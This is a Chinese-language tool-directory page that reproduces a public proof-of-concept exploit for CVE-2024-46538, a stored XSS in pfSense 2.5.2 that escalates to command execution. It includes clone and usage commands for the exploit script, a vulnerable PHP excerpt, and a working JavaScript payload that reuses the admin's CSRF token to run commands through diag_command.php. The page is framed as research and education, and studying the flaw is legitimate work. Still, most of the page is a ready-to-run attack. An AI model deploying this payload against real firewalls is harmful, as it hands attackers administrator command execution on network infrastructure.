Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-46538 — PfSense 存储型XSS导致任意代码执行漏洞利用 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2024-46538
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubeqstlab/cve-2024-46538

CVE-2024-46538

PfSense 存储型XSS导致任意代码执行漏洞利用

查看仓库
5181年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

这篇文章是由 EQSTLab 发表的研究文章。

感谢 physicszq 发现了这个漏洞。

CVE-2024-46538

★ CVE-2024-46538 PfSense 存储型XSS导致任意代码执行PoC ★

https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae

描述

CVE-2024-46538:PfSense 存储型XSS漏洞

描述:pfsense v2.5.2 中存在一个跨站脚本(XSS)漏洞,攻击者可以通过向 interfaces_groups_edit.php 中的 $pconfig 变量注入恶意载荷,执行任意 Web 脚本或 HTML。

实验环境搭建

下载存在漏洞的版本(v2.5.2):

创建虚拟机

在 Oracle Virtual Box 上运行

1. 创建虚拟机 alt text

2. 设置适配器1、2如下: alt text alt text

3. 设置启动顺序如下: alt text

4. 按以下指引操作: alt text alt text alt text alt text alt text alt text alt text

使用方法

Git 克隆

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538

安装依赖包

root@kitploit:~
pip install -r requirements.txt

命令

root@kitploit:~
# 存储恶意JavaScript载荷(无自定义JS服务器)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# 存储恶意JavaScript载荷(使用自定义JS服务器)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>

输出

CVE-2024-46538.py alt text

分析

/src/usr/local/www/interfaces_groups_edit.php

root@kitploit:~
if (isset($_POST['members'])) {
		$members = implode(" ", $_POST['members']);
	} else {
		$members = "";
	}
...
		// 创建新组
		} else {
			$ifgroupentry['ifname'] = $_POST['ifname'];
			$a_ifgroups[] = $ifgroupentry;
		}

		write_config("Interface Group added");
		interface_group_setup($ifgroupentry);

		header("Location: interfaces_groups.php");
		exit;
	} else {
		$pconfig['descr'] = $_POST['descr'];
		$pconfig['members'] = $members;
	}
}

interfaces_groups_edit.php 中的 $pconfig 变量缺乏过滤,导致跨站脚本(XSS)漏洞。该跨站脚本漏洞允许攻击者利用 diag_command.php 端点对管理员执行任意命令。 例如,以下JavaScript可能导致任意代码执行。

mal.js

root@kitploit:~
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})

场景

用户(拥有权限:WebCfg - Interfaces: Groups: Edit)--(存储恶意JavaScript代码)--> 管理员(拥有执行代码的权限)--(访问 interfaces_groups.php)--> JavaScript代码执行 --> 代码执行

免责声明

此仓库并非旨在成为 CVE-2024-46538 的 XSS 漏洞利用工具。本项目的目的是帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。

参考

https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

https://skshieldus.com/eng/business/insight.do#

下载工具